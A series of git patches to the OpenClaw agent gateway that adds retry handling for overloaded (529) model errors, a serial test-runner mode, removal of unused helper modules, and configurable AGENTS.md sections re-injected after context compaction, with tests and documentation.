+440,7 @@ export const OpenClawSchema = z maxAttempts: z.number().int().min(0).max(10).optional(), backoffMs: z.array(z.number().int().nonnegative()).min(1).max(10).optional(), retryOn: z - .array(z.enum(["rate_limit", "network", "timeout", "server_error"])) + .array(z.enum(["rate_limit", "overloaded", "network", "timeout", "server_error"])) .min(1) .optional(), }) diff --git a/src/cron/isolated-agent/run.ts b/src/cron/isolated-agent/run.ts index 1fbcc08bad8..8d5a1db73a5 100644 --- a/src/cron/isolated-agent/run.ts +++ b/src/cron/isolated-agent/run.ts @@ -534,7 +534,7 @@ export async function runCronIsolatedAgentTurn(params: { // be blocked by a target it cannot satisfy (#27898). requireExplicitMessageTarget: deliveryRequested && resolvedDelivery.ok, disableMessageTool: deliveryRequested || deliveryPlan.mode === "none", - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, abortSignal, bootstrapPromptWarningSignaturesSeen, bootstrapPromptWarningSignature, diff --git a/src/cron/service.issue-regressions.test.ts b/src/cron/service.issue-regressions.test.ts index 9665d40ec55..9aec71b7315 100644 --- a/src/cron/service.issue-regressions.test.ts +++ b/src/cron/service.issue-regressions.test.ts @@ -580,6 +580,7 @@ describe("Cron issue regressions", () => { const runRetryScenario = async (params: { id: string; deleteAfterRun: boolean; + firstError?: string; }): Promise<{ state: ReturnType; runIsolatedAgentJob: ReturnType; @@ -600,7 +601,10 @@ describe("Cron issue regressions", () => { let now = scheduledAt; const runIsolatedAgentJob = vi .fn() - .mockResolvedValueOnce({ status: "error", error: "429 rate limit exceeded" }) + .mockResolvedValueOnce({ + status: "error", + error: params.firstError ?? "429 rate limit exceeded", + }) .mockResolvedValueOnce({ status: "ok", summary: "done" }); const state = createCronServiceState({ cronEnabled: true, @@ -644,6 +648,19 @@ describe("Cron issue regressions", () => { ); expect(deletedJob).toBeUndefined(); expect(deleteResult.runIsolatedAgentJob).toHaveBeenCalledTimes(2); + + const overloadedResult = await runRetryScenario({ + id: "oneshot-overloaded-retry", + deleteAfterRun: false, + firstError: + "All models failed (2): anthropic/claude-3-5-sonnet: LLM error overloaded_error: overloaded (overloaded); openai/gpt-5.3-codex: LLM error overloaded_error: overloaded (overloaded)", + }); + const overloadedJob = overloadedResult.state.store?.jobs.find( + (j) => j.id === "oneshot-overloaded-retry", + ); + expect(overloadedJob).toBeDefined(); + expect(overloadedJob!.state.lastStatus).toBe("ok"); + expect(overloadedResult.runIsolatedAgentJob).toHaveBeenCalledTimes(2); }); it("#24355: one-shot job disabled after max transient retries", async () => { @@ -735,6 +752,54 @@ describe("Cron issue regressions", () => { expect(runIsolatedAgentJob).toHaveBeenCalledTimes(3); }); + it("#24355: one-shot job retries status-only 529 failures when retryOn only includes overloaded", async () => { + const store = makeStorePath(); + const scheduledAt = Date.parse("2026-02-06T10:00:00.000Z"); + + const cronJob = createIsolatedRegressionJob({ + id: "oneshot-overloaded-529-only", + name: "reminder", + scheduledAt, + schedule: { kind: "at", at: new Date(scheduledAt).toISOString() }, + payload: { kind: "agentTurn", message: "remind me" }, + state: { nextRunAtMs: scheduledAt }, + }); + await writeCronJobs(store.storePath, [cronJob]); + + let now = scheduledAt; + const runIsolatedAgentJob = vi + .fn() + .mockResolvedValueOnce({ status: "error", error: "FailoverError: HTTP 529" }) + .mockResolvedValueOnce({ status: "ok", summary: "done" }); + const state = createCronServiceState({ + cronEnabled: true, + storePath: store.storePath, + log: noopLogger, + nowMs: () => now, + enqueueSystemEvent: vi.fn(), + requestHeartbeatNow: vi.fn(), + runIsolatedAgentJob, + cronConfig: { + retry: { maxAttempts: 1, backoffMs: [1000], retryOn: ["overloaded"] }, + }, + }); + + await onTimer(state); + const jobAfterRetry = state.store?.jobs.find((j) => j.id === "oneshot-overloaded-529-only"); + expect(jobAfterRetry).toBeDefined(); + expect(jobAfterRetry!.enabled).toBe(true); + expect(jobAfterRetry!.state.lastStatus).toBe("error"); + expect(jobAfterRetry!.state.nextRunAtMs).toBeGreaterThan(scheduledAt); + + now = (jobAfterRetry!.state.nextRunAtMs ?? now) + 1; + await onTimer(state); + + const finishedJob = state.store?.jobs.find((j) => j.id === "oneshot-overloaded-529-only"); + expect(finishedJob).toBeDefined(); + expect(finishedJob!.state.lastStatus).toBe("ok"); + expect(runIsolatedAgentJob).toHaveBeenCalledTimes(2); + }); + it("#24355: one-shot job disabled immediately on permanent error", async () => { const store = makeStorePath(); const scheduledAt = Date.parse("2026-02-06T10:00:00.000Z"); diff --git a/src/cron/service/timer.ts b/src/cron/service/timer.ts index 8d1d40024ed..8502f3b6fe8 100644 --- a/src/cron/service/timer.ts +++ b/src/cron/service/timer.ts @@ -120,6 +120,8 @@ const DEFAULT_MAX_TRANSIENT_RETRIES = 3; const TRANSIENT_PATTERNS: Record = { rate_limit: /(rate[_ ]limit|too many requests|429|resource has been exhausted|cloudflare)/i, + overloaded: + /\b529\b|\boverloaded(?:_error)?\b|high demand|temporar(?:ily|y) overloaded|capacity exceeded/i, network: /(network|econnreset|econnrefused|fetch failed|socket)/i, timeout: /(timeout|etimedout)/i, server_error: /\b5\d{2}\b/, diff --git a/src/discord/monitor/auto-presence.test.ts b/src/discord/monitor/auto-presence.test.ts index 0065ed77be7..b5a83d5242d 100644 --- a/src/discord/monitor/auto-presence.test.ts +++ b/src/discord/monitor/auto-presence.test.ts @@ -50,6 +50,26 @@ describe("discord auto presence", () => { expect(decision?.presence.activities[0]?.state).toBe("token exhausted"); }); + it("treats overloaded cooldown as exhausted", () => { + const now = Date.now(); + const decision = resolveDiscordAutoPresenceDecision({ + discordConfig: { + autoPresence: { + enabled: true, + exhaustedText: "token exhausted", + }, + }, + authStore: createStore({ cooldownUntil: now + 60_000, failureCounts: { overloaded: 2 } }), + gatewayConnected: true, + now, + }); + + expect(decision).toBeTruthy(); + expect(decision?.state).toBe("exhausted"); + expect(decision?.presence.status).toBe("dnd"); + expect(decision?.presence.activities[0]?.state).toBe("token exhausted"); + }); + it("recovers from exhausted to online once a profile becomes usable", () => { let now = Date.now(); let store = createStore({ cooldownUntil: now + 60_000, failureCounts: { rate_limit: 1 } }); diff --git a/src/discord/monitor/auto-presence.ts b/src/discord/monitor/auto-presence.ts index 74bdcab3617..8c139382dc6 100644 --- a/src/discord/monitor/auto-presence.ts +++ b/src/discord/monitor/auto-presence.ts @@ -104,6 +104,7 @@ function isExhaustedUnavailableReason(reason: AuthProfileFailureReason | null): } return ( reason === "rate_limit" || + reason === "overloaded" || reason === "billing" || reason === "auth" || reason === "auth_permanent" diff --git a/src/test-utils/model-fallback.mock.ts b/src/test-utils/model-fallback.mock.ts index 21053e2466e..4431db3db96 100644 --- a/src/test-utils/model-fallback.mock.ts +++ b/src/test-utils/model-fallback.mock.ts @@ -4,7 +4,7 @@ export async function runWithModelFallback(params: { run: ( provider: string, model: string, - options?: { allowRateLimitCooldownProbe?: boolean }, + options?: { allowTransientCooldownProbe?: boolean }, ) => Promise; }) { return { From a1902209671daa316c3192214d2354ccfb1db081 Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 17:45:35 -0500 Subject: [PATCH 070/844] Tests: serialize low-memory test runner lanes --- scripts/test-parallel.mjs | 51 +++++++++++++++++++++++++++++---------- 1 file changed, 38 insertions(+), 13 deletions(-) diff --git a/scripts/test-parallel.mjs b/scripts/test-parallel.mjs index 176737d7be3..d524fb87438 100644 --- a/scripts/test-parallel.mjs +++ b/scripts/test-parallel.mjs @@ -111,8 +111,17 @@ const useVmForks = const disableIsolation = process.env.OPENCLAW_TEST_NO_ISOLATE === "1"; const includeGatewaySuite = process.env.OPENCLAW_TEST_INCLUDE_GATEWAY === "1"; const includeExtensionsSuite = process.env.OPENCLAW_TEST_INCLUDE_EXTENSIONS === "1"; +const rawTestProfile = process.env.OPENCLAW_TEST_PROFILE?.trim().toLowerCase(); +const testProfile = + rawTestProfile === "low" || + rawTestProfile === "max" || + rawTestProfile === "normal" || + rawTestProfile === "serial" + ? rawTestProfile + : "normal"; +const shouldSplitUnitRuns = testProfile !== "low" && testProfile !== "serial"; const runs = [ - ...(useVmForks + ...(shouldSplitUnitRuns ? [ { name: "unit-fast", @@ -121,7 +130,7 @@ const runs = [ "run", "--config", "vitest.unit.config.ts", - "--pool=vmForks", + `--pool=${useVmForks ? "vmForks" : "forks"}`, ...(disableIsolation ? ["--isolate=false"] : []), ...unitIsolatedFiles.flatMap((file) => ["--exclude", file]), ], @@ -141,7 +150,14 @@ const runs = [ : [ { name: "unit", - args: ["vitest", "run", "--config", "vitest.unit.config.ts"], + args: [ + "vitest", + "run", + "--config", + "vitest.unit.config.ts", + `--pool=${useVmForks ? "vmForks" : "forks"}`, + ...(disableIsolation ? ["--isolate=false"] : []), + ], }, ]), ...(includeExtensionsSuite @@ -207,14 +223,7 @@ const silentArgs = const rawPassthroughArgs = process.argv.slice(2); const passthroughArgs = rawPassthroughArgs[0] === "--" ? rawPassthroughArgs.slice(1) : rawPassthroughArgs; -const rawTestProfile = process.env.OPENCLAW_TEST_PROFILE?.trim().toLowerCase(); -const testProfile = - rawTestProfile === "low" || - rawTestProfile === "max" || - rawTestProfile === "normal" || - rawTestProfile === "serial" - ? rawTestProfile - : "normal"; +const topLevelParallelEnabled = testProfile !== "low" && testProfile !== "serial"; const overrideWorkers = Number.parseInt(process.env.OPENCLAW_TEST_WORKERS ?? "", 10); const resolvedOverride = Number.isFinite(overrideWorkers) && overrideWorkers > 0 ? overrideWorkers : null; @@ -399,6 +408,23 @@ const run = async (entry) => { return 0; }; +const runEntries = async (entries) => { + if (topLevelParallelEnabled) { + const codes = await Promise.all(entries.map(run)); + return codes.find((code) => code !== 0); + } + + for (const entry of entries) { + // eslint-disable-next-line no-await-in-loop + const code = await run(entry); + if (code !== 0) { + return code; + } + } + + return undefined; +}; + const shutdown = (signal) => { for (const child of children) { child.kill(signal); @@ -451,8 +477,7 @@ if (passthroughArgs.length > 0) { process.exit(Number(code) || 0); } -const parallelCodes = await Promise.all(parallelRuns.map(run)); -const failedParallel = parallelCodes.find((code) => code !== 0); +const failedParallel = await runEntries(parallelRuns); if (failedParallel !== undefined) { process.exit(failedParallel); } From 455430a6f8dd4767612b8d708db9dc21369de36e Mon Sep 17 00:00:00 2001 From: Vincent Koc Date: Fri, 6 Mar 2026 17:53:02 -0500 Subject: [PATCH 071/844] Dead code: remove unused helper modules (#38318) * Dead code: remove unused provider runtime policy helper * Dead code: remove unused shared env writer * Dead code: remove unused auth store path collector --- src/config/runtime-group-policy-provider.ts | 19 -------- src/infra/env-file.ts | 54 --------------------- src/secrets/auth-store-paths.ts | 36 -------------- 3 files changed, 109 deletions(-) delete mode 100644 src/config/runtime-group-policy-provider.ts delete mode 100644 src/infra/env-file.ts delete mode 100644 src/secrets/auth-store-paths.ts diff --git a/src/config/runtime-group-policy-provider.ts b/src/config/runtime-group-policy-provider.ts deleted file mode 100644 index 887f35c3a0e..00000000000 --- a/src/config/runtime-group-policy-provider.ts +++ /dev/null @@ -1,19 +0,0 @@ -import { resolveRuntimeGroupPolicy } from "./runtime-group-policy.js"; -import type { GroupPolicy } from "./types.base.js"; - -export function resolveProviderRuntimeGroupPolicy(params: { - providerConfigPresent: boolean; - groupPolicy?: GroupPolicy; - defaultGroupPolicy?: GroupPolicy; -}): { - groupPolicy: GroupPolicy; - providerMissingFallbackApplied: boolean; -} { - return resolveRuntimeGroupPolicy({ - providerConfigPresent: params.providerConfigPresent, - groupPolicy: params.groupPolicy, - defaultGroupPolicy: params.defaultGroupPolicy, - configuredFallbackPolicy: "open", - missingProviderFallbackPolicy: "allowlist", - }); -} diff --git a/src/infra/env-file.ts b/src/infra/env-file.ts deleted file mode 100644 index 525af40bbae..00000000000 --- a/src/infra/env-file.ts +++ /dev/null @@ -1,54 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { escapeRegExp, resolveConfigDir } from "../utils.js"; - -export function upsertSharedEnvVar(params: { - key: string; - value: string; - env?: NodeJS.ProcessEnv; -}): { path: string; updated: boolean; created: boolean } { - const env = params.env ?? process.env; - const dir = resolveConfigDir(env); - const filepath = path.join(dir, ".env"); - const key = params.key.trim(); - const value = params.value; - - let raw = ""; - if (fs.existsSync(filepath)) { - raw = fs.readFileSync(filepath, "utf8"); - } - - const lines = raw.length ? raw.split(/\r?\n/) : []; - const matcher = new RegExp(`^(\\s*(?:export\\s+)?)${escapeRegExp(key)}\\s*=`); - let updated = false; - let replaced = false; - - const nextLines = lines.map((line) => { - const match = line.match(matcher); - if (!match) { - return line; - } - replaced = true; - const prefix = match[1] ?? ""; - const next = `${prefix}${key}=${value}`; - if (next !== line) { - updated = true; - } - return next; - }); - - if (!replaced) { - nextLines.push(`${key}=${value}`); - updated = true; - } - - if (!fs.existsSync(dir)) { - fs.mkdirSync(dir, { recursive: true, mode: 0o700 }); - } - - const output = `${nextLines.join("\n")}\n`; - fs.writeFileSync(filepath, output, "utf8"); - fs.chmodSync(filepath, 0o600); - - return { path: filepath, updated, created: !raw }; -} diff --git a/src/secrets/auth-store-paths.ts b/src/secrets/auth-store-paths.ts deleted file mode 100644 index 12fe01dda4d..00000000000 --- a/src/secrets/auth-store-paths.ts +++ /dev/null @@ -1,36 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { listAgentIds, resolveAgentDir } from "../agents/agent-scope.js"; -import { resolveAuthStorePath } from "../agents/auth-profiles/paths.js"; -import type { OpenClawConfig } from "../config/config.js"; -import { resolveUserPath } from "../utils.js"; - -export function collectAuthStorePaths(config: OpenClawConfig, stateDir: string): string[] { - const paths = new Set(); - // Scope default auth store discovery to the provided stateDir instead of - // ambient process env, so callers do not touch unrelated host-global stores. - paths.add(path.join(resolveUserPath(stateDir), "agents", "main", "agent", "auth-profiles.json")); - - const agentsRoot = path.join(resolveUserPath(stateDir), "agents"); - if (fs.existsSync(agentsRoot)) { - for (const entry of fs.readdirSync(agentsRoot, { withFileTypes: true })) { - if (!entry.isDirectory()) { - continue; - } - paths.add(path.join(agentsRoot, entry.name, "agent", "auth-profiles.json")); - } - } - - for (const agentId of listAgentIds(config)) { - if (agentId === "main") { - paths.add( - path.join(resolveUserPath(stateDir), "agents", "main", "agent", "auth-profiles.json"), - ); - continue; - } - const agentDir = resolveAgentDir(config, agentId); - paths.add(resolveUserPath(resolveAuthStorePath(agentDir))); - } - - return [...paths]; -} From 03b9abab84865122a27300e669c4afc1982ae394 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Efe=20B=C3=BCken?= Date: Sat, 7 Mar 2026 01:57:15 +0300 Subject: [PATCH 072/844] feat(compaction): make post-compaction context sections configurable (#34556) Merged via squash. Prepared head SHA: 491bb28544b2e0d3563dd1c78593ed2d829d65f6 Co-authored-by: efe-arv <259833796+efe-arv@users.noreply.github.com> Co-authored-by: jalehman <550978+jalehman@users.noreply.github.com> Reviewed-by: @jalehman --- CHANGELOG.md | 1 + docs/gateway/configuration-reference.md | 2 + .../reply/post-compaction-context.test.ts | 190 ++++++++++++++---- .../reply/post-compaction-context.ts | 91 ++++++++- src/config/schema.help.quality.test.ts | 6 + src/config/schema.help.ts | 2 + src/config/schema.labels.ts | 1 + src/config/types.agent-defaults.ts | 6 + src/config/zod-schema.agent-defaults.ts | 1 + 9 files changed, 247 insertions(+), 53 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1840fd3cde2..8fc4a7cd81b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -27,6 +27,7 @@ Docs: https://docs.openclaw.ai - CLI: make read-only SecretRef status flows degrade safely (#37023) thanks @joshavant. - Docker/Podman extension dependency baking: add `OPENCLAW_EXTENSIONS` so container builds can preinstall selected bundled extension npm dependencies into the image for faster and more reproducible startup in container deployments. (#32223) Thanks @sallyom. - Onboarding/web search: add provider selection step and full provider list in configure wizard, with SecretRef ref-mode support during onboarding. (#34009) Thanks @kesku and @thewilloftheshadow. +- Agents/compaction post-context configurability: add `agents.defaults.compaction.postCompactionSections` so deployments can choose which `AGENTS.md` sections are re-injected after compaction, while preserving legacy fallback behavior when the documented default pair is configured in any order. (#34556) thanks @efe-arv. ### Breaking diff --git a/docs/gateway/configuration-reference.md b/docs/gateway/configuration-reference.md index 30559b5d55d..749b0d2b261 100644 --- a/docs/gateway/configuration-reference.md +++ b/docs/gateway/configuration-reference.md @@ -1003,6 +1003,7 @@ Periodic heartbeat runs. reserveTokensFloor: 24000, identifierPolicy: "strict", // strict | off | custom identifierInstructions: "Preserve deployment IDs, ticket IDs, and host:port pairs exactly.", // used when identifierPolicy=custom + postCompactionSections: ["Session Startup", "Red Lines"], // [] disables reinjection memoryFlush: { enabled: true, softThresholdTokens: 6000, @@ -1018,6 +1019,7 @@ Periodic heartbeat runs. - `mode`: `default` or `safeguard` (chunked summarization for long histories). See [Compaction](/concepts/compaction). - `identifierPolicy`: `strict` (default), `off`, or `custom`. `strict` prepends built-in opaque identifier retention guidance during compaction summarization. - `identifierInstructions`: optional custom identifier-preservation text used when `identifierPolicy=custom`. +- `postCompactionSections`: optional AGENTS.md H2/H3 section names to re-inject after compaction. Defaults to `["Session Startup", "Red Lines"]`; set `[]` to disable reinjection. When unset or explicitly set to that default pair, older `Every Session`/`Safety` headings are also accepted as a legacy fallback. - `memoryFlush`: silent agentic turn before auto-compaction to store durable memories. Skipped when workspace is read-only. ### `agents.defaults.contextPruning` diff --git a/src/auto-reply/reply/post-compaction-context.test.ts b/src/auto-reply/reply/post-compaction-context.test.ts index 34da43f2e7e..0c97df4d50b 100644 --- a/src/auto-reply/reply/post-compaction-context.test.ts +++ b/src/auto-reply/reply/post-compaction-context.test.ts @@ -228,56 +228,162 @@ Read WORKFLOW.md on startup. expect(result).toContain("Current time:"); }); - it("falls back to legacy section names (Every Session / Safety)", async () => { - const content = `# Rules + // ------------------------------------------------------------------------- + // postCompactionSections config + // ------------------------------------------------------------------------- + describe("agents.defaults.compaction.postCompactionSections", () => { + it("uses default sections (Session Startup + Red Lines) when config is not set", async () => { + const content = `## Session Startup\n\nDo startup.\n\n## Red Lines\n\nDo not break.\n\n## Other\n\nIgnore.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const result = await readPostCompactionContext(tmpDir); + expect(result).toContain("Session Startup"); + expect(result).toContain("Red Lines"); + expect(result).not.toContain("Other"); + }); -## Every Session + it("uses custom section names from config instead of defaults", async () => { + const content = `## Session Startup\n\nDo startup.\n\n## Critical Rules\n\nMy custom rules.\n\n## Red Lines\n\nDefault section.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Critical Rules"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Critical Rules"); + expect(result).toContain("My custom rules"); + // Default sections must not be included when overridden + expect(result).not.toContain("Do startup"); + expect(result).not.toContain("Default section"); + }); -Read SOUL.md and USER.md. + it("supports multiple custom section names", async () => { + const content = `## Onboarding\n\nOnboard things.\n\n## Safety\n\nSafe things.\n\n## Noise\n\nIgnore.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Onboarding", "Safety"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Onboard things"); + expect(result).toContain("Safe things"); + expect(result).not.toContain("Ignore"); + }); -## Safety + it("returns null when postCompactionSections is explicitly set to [] (opt-out)", async () => { + const content = `## Session Startup\n\nDo startup.\n\n## Red Lines\n\nDo not break.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: [] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + // Empty array = opt-out: no post-compaction context injection + expect(result).toBeNull(); + }); -Don't exfiltrate private data. + it("returns null when custom sections are configured but none found in AGENTS.md", async () => { + const content = `## Session Startup\n\nDo startup.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Nonexistent Section"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).toBeNull(); + }); -## Other + it("does NOT reference 'Session Startup' in prose when custom sections are configured", async () => { + // Greptile review finding: hardcoded prose mentioned "Execute your Session Startup + // sequence now" even when custom section names were configured, causing agents to + // look for a non-existent section. Prose must adapt to the configured section names. + const content = `## Boot Sequence\n\nDo custom boot things.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Boot Sequence"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + // Must not reference the hardcoded default section name + expect(result).not.toContain("Session Startup"); + // Must reference the actual configured section names + expect(result).toContain("Boot Sequence"); + }); -Ignore this. -`; - fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); - const result = await readPostCompactionContext(tmpDir); - expect(result).not.toBeNull(); - expect(result).toContain("Every Session"); - expect(result).toContain("Read SOUL.md"); - expect(result).toContain("Safety"); - expect(result).toContain("Don't exfiltrate"); - expect(result).not.toContain("Other"); - }); + it("uses default 'Session Startup' prose when default sections are active", async () => { + const content = `## Session Startup\n\nDo startup.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const result = await readPostCompactionContext(tmpDir); + expect(result).not.toBeNull(); + expect(result).toContain("Execute your Session Startup sequence now"); + }); - it("prefers new section names over legacy when both exist", async () => { - const content = `# Rules + it("falls back to legacy sections when defaults are explicitly configured", async () => { + // Older AGENTS.md templates use "Every Session" / "Safety" instead of + // "Session Startup" / "Red Lines". Explicitly setting the defaults should + // still trigger the legacy fallback — same behavior as leaving the field unset. + const content = `## Every Session\n\nDo startup things.\n\n## Safety\n\nBe safe.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Session Startup", "Red Lines"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Do startup things"); + expect(result).toContain("Be safe"); + }); -## Session Startup + it("falls back to legacy sections when default sections are configured in a different order", async () => { + const content = `## Every Session\n\nDo startup things.\n\n## Safety\n\nBe safe.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["Red Lines", "Session Startup"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Do startup things"); + expect(result).toContain("Be safe"); + expect(result).toContain("Execute your Session Startup sequence now"); + }); -New startup instructions. - -## Every Session - -Old startup instructions. - -## Red Lines - -New red lines. - -## Safety - -Old safety rules. -`; - fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); - const result = await readPostCompactionContext(tmpDir); - expect(result).not.toBeNull(); - expect(result).toContain("New startup instructions"); - expect(result).toContain("New red lines"); - expect(result).not.toContain("Old startup instructions"); - expect(result).not.toContain("Old safety rules"); + it("custom section names are matched case-insensitively", async () => { + const content = `## WORKFLOW INIT\n\nInit things.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const cfg = { + agents: { + defaults: { + compaction: { postCompactionSections: ["workflow init"] }, + }, + }, + } as OpenClawConfig; + const result = await readPostCompactionContext(tmpDir, cfg); + expect(result).not.toBeNull(); + expect(result).toContain("Init things"); + }); }); }); diff --git a/src/auto-reply/reply/post-compaction-context.ts b/src/auto-reply/reply/post-compaction-context.ts index 9a326b59323..316ac3c29b1 100644 --- a/src/auto-reply/reply/post-compaction-context.ts +++ b/src/auto-reply/reply/post-compaction-context.ts @@ -6,6 +6,37 @@ import type { OpenClawConfig } from "../../config/config.js"; import { openBoundaryFile } from "../../infra/boundary-file-read.js"; const MAX_CONTEXT_CHARS = 3000; +const DEFAULT_POST_COMPACTION_SECTIONS = ["Session Startup", "Red Lines"]; +const LEGACY_POST_COMPACTION_SECTIONS = ["Every Session", "Safety"]; + +// Compare configured section names as a case-insensitive set so deployments can +// pin the documented defaults in any order without changing fallback semantics. +function matchesSectionSet(sectionNames: string[], expectedSections: string[]): boolean { + if (sectionNames.length !== expectedSections.length) { + return false; + } + + const counts = new Map(); + for (const name of expectedSections) { + const normalized = name.trim().toLowerCase(); + counts.set(normalized, (counts.get(normalized) ?? 0) + 1); + } + + for (const name of sectionNames) { + const normalized = name.trim().toLowerCase(); + const count = counts.get(normalized); + if (!count) { + return false; + } + if (count === 1) { + counts.delete(normalized); + } else { + counts.set(normalized, count - 1); + } + } + + return counts.size === 0; +} function formatDateStamp(nowMs: number, timezone: string): string { const parts = new Intl.DateTimeFormat("en-US", { @@ -53,19 +84,39 @@ export async function readPostCompactionContext( } })(); - // Extract "## Session Startup" and "## Red Lines" sections. - // Also accept legacy names "Every Session" and "Safety" for backward - // compatibility with older AGENTS.md templates. - // Each section ends at the next "## " heading or end of file - let sections = extractSections(content, ["Session Startup", "Red Lines"]); - if (sections.length === 0) { - sections = extractSections(content, ["Every Session", "Safety"]); + // Extract configured sections from AGENTS.md (default: Session Startup + Red Lines). + // An explicit empty array disables post-compaction context injection entirely. + const configuredSections = cfg?.agents?.defaults?.compaction?.postCompactionSections; + const sectionNames = Array.isArray(configuredSections) + ? configuredSections + : DEFAULT_POST_COMPACTION_SECTIONS; + + if (sectionNames.length === 0) { + return null; + } + + const foundSectionNames: string[] = []; + let sections = extractSections(content, sectionNames, foundSectionNames); + + // Fall back to legacy section names ("Every Session" / "Safety") when using + // defaults and the current headings aren't found — preserves compatibility + // with older AGENTS.md templates. The fallback also applies when the user + // explicitly configures the default pair, so that pinning the documented + // defaults never silently changes behavior vs. leaving the field unset. + const isDefaultSections = + !Array.isArray(configuredSections) || + matchesSectionSet(configuredSections, DEFAULT_POST_COMPACTION_SECTIONS); + if (sections.length === 0 && isDefaultSections) { + sections = extractSections(content, LEGACY_POST_COMPACTION_SECTIONS, foundSectionNames); } if (sections.length === 0) { return null; } + // Only reference section names that were actually found and injected. + const displayNames = foundSectionNames.length > 0 ? foundSectionNames : sectionNames; + const resolvedNowMs = nowMs ?? Date.now(); const timezone = resolveUserTimezone(cfg?.agents?.defaults?.userTimezone); const dateStamp = formatDateStamp(resolvedNowMs, timezone); @@ -79,11 +130,24 @@ export async function readPostCompactionContext( ? combined.slice(0, MAX_CONTEXT_CHARS) + "\n...[truncated]..." : combined; + // When using the default section set, use precise prose that names the + // "Session Startup" sequence explicitly. When custom sections are configured, + // use generic prose — referencing a hardcoded "Session Startup" sequence + // would be misleading for deployments that use different section names. + const prose = isDefaultSections + ? "Session was just compacted. The conversation summary above is a hint, NOT a substitute for your startup sequence. " + + "Execute your Session Startup sequence now — read the required files before responding to the user." + : `Session was just compacted. The conversation summary above is a hint, NOT a substitute for your full startup sequence. ` + + `Re-read the sections injected below (${displayNames.join(", ")}) and follow your configured startup procedure before responding to the user.`; + + const sectionLabel = isDefaultSections + ? "Critical rules from AGENTS.md:" + : `Injected sections from AGENTS.md (${displayNames.join(", ")}):`; + return ( "[Post-compaction context refresh]\n\n" + - "Session was just compacted. The conversation summary above is a hint, NOT a substitute for your startup sequence. " + - "Execute your Session Startup sequence now — read the required files before responding to the user.\n\n" + - `Critical rules from AGENTS.md:\n\n${safeContent}\n\n${timeLine}` + `${prose}\n\n` + + `${sectionLabel}\n\n${safeContent}\n\n${timeLine}` ); } catch { return null; @@ -96,7 +160,11 @@ export async function readPostCompactionContext( * Skips content inside fenced code blocks. * Captures until the next heading of same or higher level, or end of string. */ -export function extractSections(content: string, sectionNames: string[]): string[] { +export function extractSections( + content: string, + sectionNames: string[], + foundNames?: string[], +): string[] { const results: string[] = []; const lines = content.split("\n"); @@ -157,6 +225,7 @@ export function extractSections(content: string, sectionNames: string[]): string if (sectionLines.length > 0) { results.push(sectionLines.join("\n").trim()); + foundNames?.push(name); } } diff --git a/src/config/schema.help.quality.test.ts b/src/config/schema.help.quality.test.ts index 146ffc17101..2ef7d8aae3a 100644 --- a/src/config/schema.help.quality.test.ts +++ b/src/config/schema.help.quality.test.ts @@ -375,6 +375,7 @@ const TARGET_KEYS = [ "agents.defaults.compaction.qualityGuard", "agents.defaults.compaction.qualityGuard.enabled", "agents.defaults.compaction.qualityGuard.maxRetries", + "agents.defaults.compaction.postCompactionSections", "agents.defaults.compaction.memoryFlush", "agents.defaults.compaction.memoryFlush.enabled", "agents.defaults.compaction.memoryFlush.softThresholdTokens", @@ -795,6 +796,11 @@ describe("config help copy quality", () => { expect(identifierPolicy.includes('"off"')).toBe(true); expect(identifierPolicy.includes('"custom"')).toBe(true); + const postCompactionSections = FIELD_HELP["agents.defaults.compaction.postCompactionSections"]; + expect(/Session Startup|Red Lines/i.test(postCompactionSections)).toBe(true); + expect(/Every Session|Safety/i.test(postCompactionSections)).toBe(true); + expect(/\[\]|disable/i.test(postCompactionSections)).toBe(true); + const flush = FIELD_HELP["agents.defaults.compaction.memoryFlush.enabled"]; expect(/pre-compaction|memory flush|token/i.test(flush)).toBe(true); }); diff --git a/src/config/schema.help.ts b/src/config/schema.help.ts index f2ef2ff4ab8..ee760f2d23f 100644 --- a/src/config/schema.help.ts +++ b/src/config/schema.help.ts @@ -1003,6 +1003,8 @@ export const FIELD_HELP: Record = { "Enables summary quality audits and regeneration retries for safeguard compaction. 